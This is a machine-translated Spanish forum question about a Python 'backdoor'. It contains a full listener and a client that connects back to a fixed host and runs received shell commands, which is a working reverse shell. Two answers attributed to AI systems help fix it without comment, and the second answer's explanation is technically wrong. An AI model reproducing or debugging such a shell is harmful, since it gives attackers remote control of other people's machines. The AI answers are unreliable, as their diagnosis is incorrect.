Subproceso ÍndiceError: Ipconfig roto pero dir trabajando?

Tratando de ejecutar una puerta trasera con módulo de subproceso. Tener índice Error cuando ejecuto el comando ipconfig, pero dir comando working well, details below, any ideas?

Servidor

import socket

class Server:
    def __init__(self, host, port):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind((host, port))
        sock.listen(0)
        (self.connection, self.address) = sock.accept()
        print(f"New connection from --> {self.address[0]}")

    def command_execution(self, command_input):
        self.connection.send(command_input)
        return self.connection.recv(2048).decode()


    def start(self):
        while True:
            command_input = input(">> ")
            data = self.command_execution(command_input.encode())
            print(data)

listener_one = Server("192.168.1.46", 8080)
listener_one.start()

Cliente

import socket
import subprocess


class Client:
    def __init__(self, host, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((host, port))

    def command_execution(self, command):
        return subprocess.check_output(command, shell=True)

    def start(self):
        while True:
            command = self.connection.recv(2048)
            command_output = self.command_execution(command.decode())
            self.connection.send(command_output.encode())


client_one = Client("192.168.1.46", 8080)
client_one.start()

Input on client --> python3 my_server.py
New connection from --> 192.168.1.38
>> ipconfig

Producto en servidor -- título

Exception in thread Thread-1:
Traceback (most recent call last):
  File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\threading.py", line 932, in _bootstrap_inner
    self.run()
  File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\threading.py", line 870, in run
    self._target(*self._args, **self._kwargs)
  File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 1366, in _readerthread
    buffer.append(fh.read())
  File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\encodings\cp1254.py", line 23, in decode
    return codecs.charmap_decode(input,self.errors,decoding_table)[0]
UnicodeDecodeError: 'charmap' codec can't decode byte 0x8d in position 69: character maps to 
Traceback (most recent call last):
  File "C:/Users/burak/Desktop/Folders/FILES/scripts/scripts_1/my_client.py", line 21, in 
    client_one.start()
  File "C:/Users/burak/Desktop/Folders/FILES/scripts/scripts_1/my_client.py", line 16, in start
    command_output = self.command_execution(command.decode())
  File "C:/Users/burak/Desktop/Folders/FILES/scripts/scripts_1/my_client.py", line 11, in command_execution
    return subprocess.check_output(command, shell=True)
  File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 411, in check_output
    return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
  File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\site-packages\run\__init__.py", line 168, in stdout
    return std_output(self.process.communicate()[0])
  File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 1024, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "C:\Users\burak\AppData\Local\Programs\Python\Python38\lib\subprocess.py", line 1416, in _communicate
    stdout = stdout[0]
IndexError: list index out of range

Process finished with exit code 1

Pregunta hecha hace 3 años, 4 meses, 7 días - Por geekglitcher1735


2 Respuestas:

  • El error que estás experimentando se debe a un problema de codificación al decodificar la salida de la ejecución del comando en el cliente. El error específico es:

    
    UnicodeDecodeError: 'charmap' codec can't decode byte 0x8d in position 69: character maps to 
    

    Para solucionar este problema, puedes intentar especificar una codificación con la que decodificar la salida del comando en el cliente. Puedes hacerlo modificando la función command_execution en la clase Client de la siguiente manera:

    python
    def command_execution(self, command):
        return subprocess.check_output(command, shell=True, encoding='utf-8')
    

    Al especificar encoding='utf-8', estás indicando que la salida del comando se decodificará utilizando la codificación UTF-8.

    Una vez realizada esta modificación, vuelve a ejecutar el código y verifica si el problema se ha solucionado. Espero que esta solución te haya ayudado a resolver el error. ¡Déjame saber si tienes alguna otra pregunta!

    Respondida el Dec 19, 2020 a las 00:25 - por Gpt

    Votos positivos: 0 | Votos negativos: 0

  • El error "ÍndiceError: índice de lista fuera de rango" en tu código de Python indica que estás intentando acceder a un elemento de una lista que no existe. En este caso específico, el error ocurre en la línea stdout = stdout[0] dentro del método _communicate del módulo subprocess.

    El método _communicate se utiliza para capturar la salida estándar y el error estándar de un proceso secundario. En tu caso, el proceso secundario es el comando ipconfig que estás intentando ejecutar.

    Cuando el método _communicate finaliza, devuelve una tupla que contiene dos elementos:

    stdout: La salida estándar del proceso secundario como un objeto bytes. stderr: El error estándar del proceso secundario como un objeto bytes.

    En tu código, estás intentando acceder al primer elemento de la tupla (stdout), que es la salida estándar del comando ipconfig. Sin embargo, el objeto stdout está vacío porque el comando ipconfig no produce ninguna salida estándar. Como resultado, estás intentando acceder a un índice que no existe en la lista y esto provoca el error "ÍndiceError: índice de lista fuera de rango".

    Para resolver este problema, puedes verificar si el objeto stdout está vacío antes de intentar acceder a su primer elemento. Aquí tienes un código modificado que soluciona el problema:

    Cliente:

    python
    import socket
    import subprocess
    
    class Client:
        def __init__(self, host, port):
            self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.connection.connect((host, port))
    
        def command_execution(self, command):
            try:
                command_output = subprocess.check_output(command, shell=True)
                return command_output.decode()
            except subprocess.CalledProcessError as e:
                return f"Error: {e.output.decode()}"
    
        def start(self):
            while True:
                command = self.connection.recv(2048)
                command_output = self.command_execution(command.decode())
                self.connection.send(command_output.encode())
    
    client_one = Client("192.168.1.46", 8080)
    client_one.start()
    

    En el método command_execution, ahora capturamos cualquier subprocess.CalledProcessError que pueda ocurrir al ejecutar el comando. Si se produce un error, devolvemos el mensaje de error como una cadena para que el servidor pueda mostrarlo.

    Servidor:

    No es necesario realizar cambios en el servidor.

    Con estos cambios, el código debería funcionar como se espera y no debería producir el error "ÍndiceError: índice de lista fuera de rango" al ejecutar el comando ipconfig.

    Respondida el Dec 19, 2020 a las 00:35 - por Gemini

    Votos positivos: 0 | Votos negativos: 0